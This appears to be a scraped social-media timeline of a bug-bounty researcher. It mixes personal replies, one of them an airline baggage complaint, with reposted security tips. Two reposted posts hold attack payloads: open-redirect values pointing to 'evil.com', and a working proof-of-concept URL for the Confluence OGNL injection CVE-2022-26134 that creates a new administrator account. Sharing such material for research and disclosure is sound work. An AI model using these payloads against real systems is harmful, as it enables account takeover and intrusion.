Titanrain

Security Researcher

[Yousif Astarabadi @yousifa]

https://t.co/Qmta9nro9I

[Intigriti @intigriti]

Quick way to identify postMessage calls in any target! 🧐

> Search JS files for "addEventListener('message',"
> Search for "postMessage(" method calls
> Use your browser dev tools to list all postMessage implementations (Sources → Global Listeners → message)
> Set breakpoints on DOMWindow.message events
> Use a web extension like Burp Suite DOM Invador or PostMessage-Tracker by @fransrosen

More in next post! 👇

[AISecHub @AISecHub]

claudit - Smart contract security findings for AI coding agents - https://t.co/KyK2WoqrxQ

Search Solodit's 20,000+ audit findings from Claude Code and Codex CLI.

[Titanrain @thetitanrain]

@achabi_7 @Hacker0x01 @AsrcSecurity It’s painful to see all our efforts going waste. Encountered a comparable problem on a vdp program, where there was a significant account takeover issue. Nevertheless, their indifference remains unchanged.

[Titanrain @thetitanrain]

@IndiGo6E Indeed, the incident was mentioned at the Abu Dhabi Airport, but the personnel there informed me that they are unable to take any action, and furthermore, Indigo Airlines does not offer any form of reimbursement.

[Titanrain @thetitanrain]

@IndiGo6E My trolley bag was mishandled and now the handle button is stuck. This is unacceptable! Terrible service. Never flying with you again. #CustomerServiceFail #TravelWoes

[Professor the Hunter @bughuntar]

Recon methodology by @ManieshNeupane

[Bojan Zdrnja @bojanz]

[1/5] A small thread.
#nuclei is a really nice and fast scanner by @pdnuclei that is also popular with #bugbounty #hackers.
Being so fast out of box, quite often it can overwhelm the target server(s).
Here are couple of tips on how to improve your #nuclei scanning results:

[Emad Shanab - أبو عبد الله @Alra3ees]

Use httpx to find software and avoid the WAF blocking when you testing wide scope target via nuclei:-

[Basant Karki🇳🇵 @basant0x01]

Guys, I'm getting a lot of msg for steps, this is how you can use payloads for DOM XSS, And also you can use different open redirection payloads.

1. returnurl=https://t.co/0o3bgjC9dd
2. returnurl=//evil.com
3. returnurl=/\/\https://t.co/0o3bgjC9dd

#bugbountytips

[HTTPVoid @httpvoid0x2f]

PoC - localhost/${%23this.getUserAccessor().addUser('httpvoid','pwn@1234','[email protected]','HttpVoid',%40com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))}/ to add a new admin user.

[Phith0n @phithon_xg]

Very simple POC for Atlassian Confluence Pre-Auth OGNL Injection && RCE (CVE-2022-26134)
Setup a pre-built environment to test it in 5 seconds: https://t.co/oH6GJ1mel1
Why 5 minutes not 10 seconds? Because you should apply a trial license from Atlassian😂#vulhub

[Omar Ωr Santos @santosomar]

linWinPwn - A Bash Script That Automates A Number Of Active Directory Enumeration And Vulnerability Checks https://t.co/ZKGU84Ztca #cybersecurity #bugbountytips #hacking #tools

[Mahendra Purbia @Mah3Sec]

Playing with JSON | Write-up Collection🔽|
https://t.co/xN3F1kUFVQ
https://t.co/GjrRgjTL14
https://t.co/CxIxqaxU2L
https://t.co/hpNWlTXNFK
https://t.co/HOlpCARVsW
https://t.co/U3jRkAQjmr
https://t.co/hBGZbJlV8U
#bugbountytip #bugbountytips #JSON #cybersecurity #Pentesting

[payloadartist @payloadartist]

⚔️ Bypassing XSS detection mechanisms

An old but gold paper by @s0md3v, helpful for understanding different contexts and bypassing WAF and XSS filtering mechanisms.

🔗 https://t.co/OGyKtvsjNo

#infosec #cybersecurity #bugbounty #bugbountytips #Pentesting

[Harsh Bothra @harshbothra_]

PHP is always an interesting language and pool for finding security bugs! can you spot the bug in this code?

The solution will be posted in today's #securityexplained series.

By: @ChetanyaKunndra

#appsec #infosec #bugbounty #bugbountytips #codereview #websecurity #hacking

[PT SWARM @ptswarm]

✅ A Tip for SQL Injection WAF Bypass

[CyCatz @CyCatz_Official]

#cycatz #bugbountytips #bugbounty How I Made $16,500 Hacking CDN Caching Servers #appsec

Part 1
Part 2
Part 3

More..https://t.co/SV8fUjl5e4

[Titanrain @thetitanrain]

@AFFinance Do you have a bug bounty or responsible disclosure program? I would like to report a security Vulnerability in your site/system.

[PT SWARM @ptswarm]

💥 New article "Fuzzing for XSS via nested parsers condition" by our researcher @Psych0tr1a.

This techniques allowed us to find a bunch of vulnerabilities in popular web products that no one had noticed before!

https://t.co/7SpknkeMsO